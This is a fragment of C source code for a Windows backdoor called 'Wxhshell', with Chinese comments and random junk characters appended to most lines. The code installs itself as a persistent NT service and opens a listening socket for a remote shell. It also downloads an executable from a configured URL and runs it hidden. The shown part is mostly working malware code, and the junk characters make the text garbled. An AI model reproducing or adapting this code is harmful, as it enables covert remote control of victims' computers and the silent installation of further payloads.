|[Rlg`TQ;*
PROCNTQSIP NtQueryInformationProcess; SaIY-PC
|E9'ii&?B
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^)UX#D3b
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6Vj=SYK
%6W%-`
HANDLE hProcess; {[)n<.n[g
PROCESS_BASIC_INFORMATION pbi; vB%os Qm
+,1 Ea )
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n'@*RvI:
if(NULL == hInst ) return 0; >/4N :=.h
=z!^OT6eb
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;Rljx3!N
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ntntB{t
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,
.E>
E1`TQA
if (!NtQueryInformationProcess) return 0; :>y;*x0w
X`fb\}~R(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ka_(8
if(!hProcess) return 0; ^D76_'{
hS1I ;*t
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UDT\Xc
L++qMRk9
CloseHandle(hProcess); D&{CC
TI|h
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v1rTl5H
if(hProcess==NULL) return 0; v`@NwH<r
/Nkxb&
HMODULE hMod; s1]m^,
char procName[255]; G}Ko*:fWS
unsigned long cbNeeded; ?C`r3
*XOLuPL>6)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X;1yQ|su
Ms#rvn!J
CloseHandle(hProcess); p ,.6sk
aJQzM
if(strstr(procName,"services")) return 1; // 以服务启动 (6Ciqf8
I^Dm 3yz
return 0; // 注册表启动 N8iLI`
} "~mY4WVG
a4[t3U
// 主模块 Q5b9q$L$
int StartWxhshell(LPSTR lpCmdLine) >xXC=z+g]
{ KM+[1Ze$
SOCKET wsl; Z(t7QFd
BOOL val=TRUE; !FwNq'Q8$
int port=0; 4f&"1:
struct sockaddr_in door; ? G`6}NP
)$ h!lAo
if(wscfg.ws_autoins) Install(); $J):yhFs e
)8!*,e=4
port=atoi(lpCmdLine); W7. +
R@-x!*z
if(port<=0) port=wscfg.ws_port; /xSFW7d1
@QMy!y_K~m
WSADATA data; L~%7=]m
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %!r.)Wx|2
pC]XbokES
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Re2&qxE
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qvty;2$o@
door.sin_family = AF_INET; tpblm|sW
door.sin_addr.s_addr = inet_addr("127.0.0.1"); t#xfso`4o
door.sin_port = htons(port); !6l*Jc3
(g*j+i
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;80^ GDk~S
closesocket(wsl); HB{'MBs
return 1; z-qbe97
} *7E#=xb
8{i
O#C
if(listen(wsl,2) == INVALID_SOCKET) { K iEmvC
closesocket(wsl); d@p#{ -
return 1; ZS%W/.?
} ;{aGEOP'U
Wxhshell(wsl); ;NH^+h
WSACleanup(); $}AbR:z
Ia<V\$ #
return 0; )tKSooW
R+U$;r8l
} hbg$u$1`,
/wax5FS'I,
// 以NT服务方式启动 KZTLIZxI-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OLqV#i[K#9
{ &=x4M]t9L
DWORD status = 0; ;*$e8y2
DWORD specificError = 0xfffffff; Jt[,V*:#
LRg]'?
serviceStatus.dwServiceType = SERVICE_WIN32; v3aPHf
serviceStatus.dwCurrentState = SERVICE_START_PENDING; DR{O.TX
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aU~?&]
serviceStatus.dwWin32ExitCode = 0; E%DT;1
serviceStatus.dwServiceSpecificExitCode = 0; qY$ [2]
serviceStatus.dwCheckPoint = 0; NYr)=&)Ke.
serviceStatus.dwWaitHint = 0; *FktI\tS
EK5$z>k>m
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0>8w On
if (hServiceStatusHandle==0) return; ggL/7I(
+ c+i u6+"
status = GetLastError(); P6O\\,B1A
if (status!=NO_ERROR) $~iZ aX8&
{ zPc"r$'0U
serviceStatus.dwCurrentState = SERVICE_STOPPED; x+j@YWDpG"
serviceStatus.dwCheckPoint = 0; */l;e<E
serviceStatus.dwWaitHint = 0; aG83@ABx
serviceStatus.dwWin32ExitCode = status; "a=Hr4C*r
serviceStatus.dwServiceSpecificExitCode = specificError; "p*'HQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,:e~aG,B
return; J8!2Tt
} {x?qz~W
p0WUF\"
serviceStatus.dwCurrentState = SERVICE_RUNNING; ccrWk*tr
serviceStatus.dwCheckPoint = 0; )
$_1U!z
serviceStatus.dwWaitHint = 0; [gpO?'~
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gHp*QL\?9
} N<8\.z5:<
,f2oO?L}
// 处理NT服务事件,比如:启动、停止 D*ZjoU
VOID WINAPI NTServiceHandler(DWORD fdwControl) .}/8]
{ $L 8>Ha}
switch(fdwControl) rD~/]y)t
{ Hf@4p'
case SERVICE_CONTROL_STOP: e`s1z|h
serviceStatus.dwWin32ExitCode = 0; '9Z`y_~)G
serviceStatus.dwCurrentState = SERVICE_STOPPED; cZQ8[I
serviceStatus.dwCheckPoint = 0; L FkDb}
serviceStatus.dwWaitHint = 0; vMB61 |O
{ y $\tqQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8W{M}>;[9
} HWsV_VAw}
return; 0\{dt4nW&O
case SERVICE_CONTROL_PAUSE: fj;ZGbg-O
serviceStatus.dwCurrentState = SERVICE_PAUSED; )\#*~73
break; h@Ea5x
case SERVICE_CONTROL_CONTINUE: mpug#i6q
serviceStatus.dwCurrentState = SERVICE_RUNNING; 60vmjm Xl
break; \1jThJn
case SERVICE_CONTROL_INTERROGATE: yAryw{(
break; H oABo:
}; ?UAuUFueA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dI
,A;.
} @k&6\1/U
\^*:1=|7u]
// 标准应用程序主函数 $j.;$~F
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _i}b]xfM
{ tkT,M,]?9
B`Z3e%g#
// 获取操作系统版本 0#9H;j<Op
OsIsNt=GetOsVer(); wKLYyetM!
GetModuleFileName(NULL,ExeFile,MAX_PATH); e{@RBYX@+c
J`U]Ux/L
// 从命令行安装 !:!(=(4$P
if(strpbrk(lpCmdLine,"iI")) Install(); $G`CXhbl
\ s aV8U7B
// 下载执行文件 pOXI*0_g.
if(wscfg.ws_downexe) { B{`adq?pW
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }bv+^#
WinExec(wscfg.ws_filenam,SW_HIDE); PPB/-F]rr
} (s,&